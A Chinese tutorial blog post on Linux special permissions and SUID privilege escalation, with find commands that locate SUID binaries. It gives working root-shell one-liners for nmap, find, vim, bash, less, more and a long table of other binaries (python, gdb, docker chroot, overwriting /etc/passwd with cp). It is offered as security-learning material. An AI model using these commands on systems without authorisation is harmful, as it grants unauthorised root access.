当前位置: 首页 > news >正文

Linux下SUID提权学习 - 从原理到使用

目录

  • 1. 文件权限介绍
    • 1.1 suid权限
    • 1.2 sgid权限
    • 1.3 sticky权限
  • 2. SUID权限
  • 3. 设置SUID权限
  • 4. SUID提权原理
  • 5. SUID提权步骤
  • 6. 常用指令的提权方法
    • 6.1 nmap
    • 6.2 find
    • 6.3 vim
    • 6.4 bash
    • 6.5 less
    • 6.6 more
    • 6.7 其他命令的提权方法

1. 文件权限介绍

linux的文件有普通权限和特殊权限(三种)。

普通权限一般为:rwx,分别为读写执行,对应的数字表示为421。

三种特殊权限为:suid权限,sgid权限,sticky权限。其中suid权限作用于文件属主,sgid权限作用于属组上,sticky权限作用于other其他上。


1.1 suid权限

作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。

suid权限使用s表示,增加权限u+s,移除权限u-s;

suid权限也可以使用数字形式表示,0表示去除suid权限,4表示添加suid权限,而且是在原权限的数字表达形式开头加0或4,如:0755移除suid权限,4755添加suid权限。


1.2 sgid权限

作用:sgid权限一般应用在目录上,当一个目录拥有sgid权限时,任何用户在该目录下创建的文件的属组都会继承该目录的属组。

sgid权限也使用s表示,增加权限g+s,移除权限g-s;

sgid权限也可以使用数字形式表示,0表示去除sgid权限,2表示添加sgid权限,而且是在原权限的数字表达形式开头加0或2,如:0755移除sgid权限,2755添加sgid权限。


1.3 sticky权限

作用:sticky权限一般针对目录来设置,作用是只允该目录下的文件的创建者删除自己的创建的文件,不允许其他人删除文件。(root用户除外,因为root用户是超级管理员),而且sticky权限只能设置在other位置上。

sticky权限使用t表示,增加权限o+t,移除权限o-t;

sticky权限也可以使用数字形式表示,0表示去除权限,1表示添加权限,而且是在原权限的数字表达形式开头加0或1,如下:如:0755移除sticky权限,1755添加sticky权限。


2. SUID权限


SUID(Set UID)权限:

  • 只针对二进制可执行(命令)文件,对于非可执行文件没有任何意义。
  • 执行者对于该文件需要具有x的可执行权限。
  • 在执行过程中,调用者会暂时获得该文件的所有者权限。
  • 本权限仅在执行该程序的过程中(run-time)有效。


查看文件是否具有suid权限:ls -al filename
例如:查看sudo文件的suid权限:ls -al /usr/bin/sudo
在这里插入图片描述


3. 设置SUID权限


  1. 方法一:sgid权限可以使用s表示。
chmod u+s filename  #增加suid权限
chmod u-s filename  #移除suid权限命令解释:
chmod WhoWhatWhich filename其中:Who(代表身份): u,g,o,a (user, group, other, all)What(代表动作): +, -, = (add, remove, set exact)Which(代表访问级别): r,w,x,s,t (read, write, execute,SUID/SGID,Sticky )

运行结果:

在这里插入图片描述



  1. 方法二:sgid权限也可以使用数字形式表示。0表示移除suid权限,4表示增加suid权限,而且是在原权限的数字表达形式开头加0或4。
chmod 0755 filename  #移除suid权限
chmod 4755 filename  #增加suid权限命令解释:
chmod OneTwoThreeFour filename
其中:One(特殊权限位):当不设置时默认为0,SUID = 4,SGID = 2,Sticky = 1Two(所有者权限):读权限加4,写权限加2,执行权限加1Three(所有组权限):读权限加4,写权限加2,执行权限加1Four(其他用户权限):读权限加4,写权限加2,执行权限加1

运行结果:

在这里插入图片描述



4. SUID提权原理

SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。



5. SUID提权步骤


  1. 查找具备suid权限的文件。
  2. 查找对应文件的利用方法。不是所有文件都可以利用。



查找有suid权限文件的命令:以下三条命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -perm -u=s -type f 2>/dev/null命令解释:/ 表示从文件系统的顶部(根)开始,查找每个目录-perm 表示搜索后面的权限-u=s 表示查找 root 用户拥有的文件-type 表示我们正在寻找的文件类型f 表示普通文件,而不是目录或特殊文件2 表示到进程的第二个文件描述符,即 stderr(标准错误)> 表示重定向/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

运行结果:
在这里插入图片描述

find / -user root -perm -4000 -print 2>/dev/null命令解释:-user root 表示文件的所有者是root-perm 表示搜索后面的权限-4000 表示查找有suid权限位的文件

运行结果:

在这里插入图片描述

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null参数解释:-exec 表示查找到文件后要执行的命令ls -ldb {} \;  其中 -l 表示以长格式显示当前目录中的文件和目录-d 表示目录-b 表示块设备{} 表示find查找出来的文件\ 表示转义,和{}之间需要有空格; 表示要执行的命令的结束符

运行结果:
在这里插入图片描述



6. 常用指令的提权方法


已知具有suid权限的常用的二进制文件大体有:nmap,vim,find,bash,more,less,nano,cp,awk等。


6.1 nmap

适用版本:nmap2.02到5.21。

在早期的nmap版本中,带有交互模式,所以允许用户执行shell命令。

进入nmap交互模式:nmap --interactive

在nmap的交互模式中,通过如下命令提权:

nmap> !sh
sh-3.2# whoami
root

在msf中也又利用nmap进行提权的模块:exploit/unix/local/setuid_nmap


6.2 find

find用来在系统中查找文件。同时具有执行命令的能力。因此,如果配置了suid权限,则可以通过find执行的命令都可以用root身份去执行。

通过如下命令提权:

touch anyfile #新建一个文件anyfile,必须要有这个文件
find anyfile -exec whoami \;  #通过文件anyfile执行命令whoami

因此可以利用nc命令来反弹shell。


6.3 vim

vim的主要作用是做编辑器。如果配置了suid权限,将会继承root权限,因此可以读取系统上所有文件。

通过如下命令提权:

vim.tiny  /etc/passwdvim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

6.4 bash

以下命令将以root身份打开一个bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

6.5 less

less命令也可以进入shell:

less /etc/passwd
#在less中输入:
!/bin/sh

要注意的是使用less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


6.6 more

more命令进入shell和less相同:

more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


6.7 其他命令的提权方法

命令利用方法
zshzsh
xargsxargs -a /dev/null sh -p
watchwatch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeouttimeout 7d /bin/sh -p
timetime /bin/sh -p
tclsh1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
tasksettaskset 1 /bin/sh -p
stdbufstdbuf -i0 /bin/sh -p
stracestrace -o /dev/null /bin/sh -p
sshssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarchsetarch $(arch) /bin/sh -p
rsyncrsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpmrpm --eval ‘%{lua:os.execute(“/bin/sh -p”)}’
pythonpython -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
php1、CMD=“/bin/sh” 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nicenice /bin/sh -p
nano1、nano //运行nano程序 2、Ctrl + R //按下ctrl+r 3、Ctrl + X //按下ctrl+x 4、reset; sh -p 1>&0 2>&0 //输入命令
more1、more /etc/profile 2、!/bin/sh -p
logsavelogsave /dev/null /bin/sh -i -p
lessless /etc/profile //读取文件,在底行输入!/bin/sh -p
kshksh -p
ip1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ioniceionice /bin/sh -p
gitgit help status
gimpgimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
gdbgdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit
ftpftp //在底行输入“!/bin/sh -p”
flockflock -u / /bin/sh -p
findfind . -exec /bin/sh -p ; -quit
expectexpect -c ‘spawn /bin/sh -p;interact’
envenv /bin/sh -p
eded //在底行输入“!/bin/sh -p”
dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesgdmesg -H//在底行输入“!/bin/sh -p”
cshcsh -b
bashbash -p
awkawk ‘BEGIN {system(“/bin/bash -p”)}’
perlperl exec “/bin/bash”;
cp使用cp命令覆盖原来的/etc/passwd文件。



相关文章:

Linux下SUID提权学习 - 从原理到使用

目录 1. 文件权限介绍1.1 suid权限1.2 sgid权限1.3 sticky权限 2. SUID权限3. 设置SUID权限4. SUID提权原理5. SUID提权步骤6. 常用指令的提权方法6.1 nmap6.2 find6.3 vim6.4 bash6.5 less6.6 more6.7 其他命令的提权方法 1. 文件权限介绍 linux的文件有普通权限和特殊权限&a…...

Redis主从复制搭建一主多从

1、创建/myredis文件夹 2、复制redis.conf配置文件到新建的文件夹中 3、配置一主两从&#xff0c;创建三个配置文件 ----redis6379.conf ----redis6380.conf ----redis6381.conf 4、在三个配置文件写入内容 redis6379.conf里面的内容 include /myredis/redis.conf pidfile /va…...

GPT-4o文科成绩超一本线,理科为何表现不佳?

目录 01 评测榜单 02 实际效果 什么&#xff1f;许多大模型的文科成绩竟然超过了一本线&#xff0c;还是在竞争激烈的河南省&#xff1f; 没错&#xff0c;最近有一项大模型“高考大摸底”评测引起了广泛关注。 河南高考文科今年的一本线是521分&#xff0c;根据这项评测&…...

Lombok的hashCode方法

Lombok对于重写hashCode的算法真的是很经典&#xff0c;但是目前而言有一个令人难以注意到的细节。在继承关系中&#xff0c;父类的hashCode针对父类的所有属性进行运算&#xff0c;而子类的hashCode却只是针对子类才有的属性进行运算&#xff0c;立此贴提醒自己。 目前重写ha…...

关于springboot创建kafkaTopic

工具类提供&#xff0c;方法名见名知意。使用kafka admin import org.apache.kafka.clients.admin.*; import org.apache.kafka.common.KafkaFuture;import java.util.*; import java.util.concurrent.ExecutionException;import org.apache.kafka.clients.admin.AdminClient; …...

OOAD的概念

面向对象分析与设计&#xff08;OOAD, Object-Oriented Analysis and Design&#xff09;是一种软件开发方法&#xff0c;它利用面向对象的概念和技术来分析和设计软件系统。OOAD 主要关注对象、类以及它们之间的关系&#xff0c;通过抽象、封装、继承和多态等面向对象的基本原…...

Day47

Day47 手写Spring-MVC之DispatcherServlet DispatcherServlet的思路&#xff1a; 前端传来URI&#xff0c;在TypeContainer容器类中通过uri得到对应的类描述类对象&#xff08;注意&#xff1a;在监听器封装类描述类对象的时候&#xff0c;是针对于每一个URI进行封装的&#x…...

【面试系列】后端开发工程师 高频面试题及详细解答

欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;欢迎订阅相关专栏&#xff1a; ⭐️ 全网最全IT互联网公司面试宝典&#xff1a;收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来&#xff1a;详细讲解AIGC的概念、核心技术、…...

mac|浏览器链接不上服务器但可以登微信

千万千万千万不要没有关梯子直接关机&#xff0c;不然就会这样子呜呜呜 设置-网络&#xff0c;点击三个点--选择--位置--编辑位置&#xff08;默认是自动&#xff09; 新增一个&#xff0c;然后选中点击完成 这样就可以正常上网了...

Spring Cloud Alibaba之负载均衡组件Ribbon

一、什么是负载均衡&#xff1f; &#xff08;1&#xff09;概念&#xff1a; 在基于微服务架构开发的系统里&#xff0c;为了能够提升系统应对高并发的能力&#xff0c;开发人员通常会把具有相同业务功能的模块同时部署到多台的服务器中&#xff0c;并把访问业务功能的请求均…...

tkinter显示图片

tkinter显示图片 效果代码解析打开和显示图像 代码 效果 代码解析 打开和显示图像 def open_image():file_path filedialog.askopenfilename(title"选择图片", filetypes(("PNG文件", "*.png"), ("JPEG文件", "*.jpg;*.jpeg&q…...

000.二分查找算法题解目录

000.二分查找算法题解目录 69. x 的平方根&#xff08;简单&#xff09;34. 在排序数组中查找元素的第一个和最后一个位置&#xff08;中等&#xff09;...

数据资产赋能企业决策:通过精准的数据分析和洞察,构建高效的数据资产解决方案,为企业提供决策支持,助力企业实现精准营销、风险管理、产品创新等目标,提升企业竞争力

一、引言 在信息化和数字化飞速发展的今天&#xff0c;数据已成为企业最宝贵的资产之一。数据资产不仅包含了企业的基本信息&#xff0c;还蕴含了丰富的市场趋势、消费者行为和潜在商机。如何通过精准的数据分析和洞察&#xff0c;构建高效的数据资产解决方案&#xff0c;为企…...

【java开发环境】多版本jdk 自由切换window和linux

win10 一、准备 各种版本的jdk&#xff0c;按自己的需要下载。 我这里是需要jdk17和jdk8。 1、jdk17 下载&#xff1a;Java Downloads | Oracle&#xff0c;选择exe后缀文件 2、jdk8下 载&#xff1a;Java Downloads | Oracle&#xff0c;选择exe后缀文件 二、详细步骤 1、…...

MySQL实训项目——餐饮点餐系统

项目简介&#xff1a;餐饮点餐系统是一款为餐厅和顾客提供便捷点餐服务的在线平台。通过该系统&#xff0c;餐厅能够展示其菜单&#xff0c;顾客可以浏览菜品&#xff0c;并将其加入购物车或直接下单。系统还提供了订单管理功能&#xff0c;方便餐厅跟踪和处理顾客的订单。 1. …...

昇思MindSpore学习总结七——模型训练

1、模型训练 模型训练一般分为四个步骤&#xff1a; 构建数据集。定义神经网络模型。定义超参、损失函数及优化器。输入数据集进行训练与评估。 现在我们有了数据集和模型后&#xff0c;可以进行模型的训练与评估。 2、构建数据集 首先从数据集 Dataset加载代码&#xff0…...

AI时代创新潮涌,从探路到引路,萤石云引领千行百业创新

步入AI新时代&#xff0c;AI、云计算、大数据等技术迅速迭代&#xff0c;并日益融入经济社会发展各领域全过程&#xff0c;数字经济成为推动千行百业转型升级的重要驱动力量。 今年的政府工作报告提出&#xff0c;深入推进数字经济创新发展。积极推进数字产业化、产业数字化&a…...

计算机毕业设计Python深度学习美食推荐系统 美食可视化 美食数据分析大屏 美食爬虫 美团爬虫 机器学习 大数据毕业设计 Django Vue.js

Python美食推荐系统开题报告 一、项目背景与意义 随着互联网和移动技术的飞速发展&#xff0c;人们的生活方式发生了巨大变化&#xff0c;尤其是餐饮行业。在线美食平台如雨后春笋般涌现&#xff0c;为用户提供了丰富的美食选择。然而&#xff0c;如何在海量的餐饮信息中快速…...

【鸿蒙学习笔记】鸿蒙ArkTS学习笔记

应用开发导读&#xff1a;https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/application-dev-guide-V5 这里写目录标题 基础组件通用属性容器组件Button 迭代完备 【鸿蒙培训】第&#xff11;天・环境安装 【鸿蒙培训】第&#xff12;天・装饰器・组件和页面…...

广东行政职业学院数据智能订单班开班暨上进双创工作室签约仪式圆满结束

为响应教育领域数字化与智能化浪潮这一变革&#xff0c;给学生提供更好的教育资源和实践机会&#xff0c;6月27日&#xff0c;“泰迪广东行政职业学院数据智能订单班开班仪式暨上进双创工作室签约授牌”在广东行政职业学院举行。广东行政职业学院智慧政务学院&#xff08;电子信…...

layer norm和 rms norm 对比

Layer norm # Layer Norm 公式 mean x.mean(dim-1, keepdimTrue) var x.var(dim-1, keepdimTrue) output (x - mean) / sqrt(var eps) * gamma beta特点&#xff1a; 减去均值&#xff08;去中心化&#xff09;除以标准差&#xff08;标准化&#xff09;包含可学习参数 …...

指针的定义与使用

1.指针的定义和使用 int point1(){//定义指针int a 10;//指针定义语法&#xff1a; 数据类型 * 指针变量名int * p;cout << "sizeof (int(*)) --> " << sizeof(p) << endl;//让指针记录变量a的地址 & 取址符p &a ;cout << &qu…...

AI编程提示词

你是 IDE 的 AI 编程助手&#xff0c;遵循核心工作流&#xff08;研究 -> 构思 -> 计划 -> 执行 -> 评审&#xff09;用中文协助用户&#xff0c;面向专业程序员&#xff0c;交互应简洁专业&#xff0c;避免不必要解释。[沟通守则] 1. 响应以模式标签 [模式&#…...

数学建模期末速成 聚类分析与判别分析

聚类分析是在不知道有多少类别的前提下&#xff0c;建立某种规则对样本或变量进行分类。判别分析是已知类别&#xff0c;在已知训练样本的前提下&#xff0c;利用训练样本得到判别函数&#xff0c;然后对未知类别的测试样本判别其类别。 聚类分析 根据样本自身的属性&#xf…...

Fullstack 面试复习笔记:Spring / Spring Boot / Spring Data / Security 整理

Fullstack 面试复习笔记&#xff1a;Spring / Spring Boot / Spring Data / Security 整理 之前的笔记&#xff1a; Fullstack 面试复习笔记&#xff1a;操作系统 / 网络 / HTTP / 设计模式梳理Fullstack 面试复习笔记&#xff1a;Java 基础语法 / 核心特性体系化总结Fullsta…...

VSCode主题定制:CSS个性化你的编程世界

在今天的数字世界&#xff0c;编程环境已成为开发者的第二大脑&#xff0c;而主题正是个性化你的创意空间的关键。本文将指导你如何使用CSS自定义VSCode的主题&#xff0c;让你的IDE不仅功能强大&#xff0c;更具视觉个性。 思路分析 设计思路&#xff1a; 创建主色调基调和…...

如何用AI高效运营1000+Tiktok矩阵账号

在当今数字化的时代&#xff0c;Tiktok 矩阵账号运营成为了众多企业和个人追求流量与变现的重要手段。然而&#xff0c;面对众多的账号管理&#xff0c;如何高效运营成为了关键。此时&#xff0c;AI 工具的出现为我们提供了强有力的支持。 一、Tiktok 矩阵账号的重要性 Tiktok…...

echarts柱状图实现动态展示时报错

echarts柱状图实现动态展示时报错 1、问题&#xff1a; 在使用Echarts柱状图时&#xff0c;当数据量过多&#xff0c;x轴展示不下的时候&#xff0c;可以使用dataZoom实现动态展示。如下图所示&#xff1a; 但是当鼠标放在图上面滚动滚轮时或拖动滚动条时会报错&#xff0c;…...

【JVM】三色标记法原理

在JVM中&#xff0c;三色标记法是GC过程中对象状态的判断依据&#xff0c;回收前给对象设置上不同的三种颜色&#xff0c;三色分为白色、灰色、黑色。根据颜色的不同&#xff0c;决定对象是否要被回收。 白色表示&#xff1a; 初始状态&#xff1a;所有对象未被 GC 访问。含义…...

buuctf——web刷题第二页

[网鼎杯 2018]Fakebook和[SWPU2019]Web1没有&#xff0c;共30题 目录 [BSidesCF 2020]Had a bad day [网鼎杯 2020 朱雀组]phpweb [BJDCTF2020]The mystery of ip [BUUCTF 2018]Online Tool [GXYCTF2019]禁止套娃 [GWCTF 2019]我有一个数据库 [CISCN2019 华北赛区 Day2…...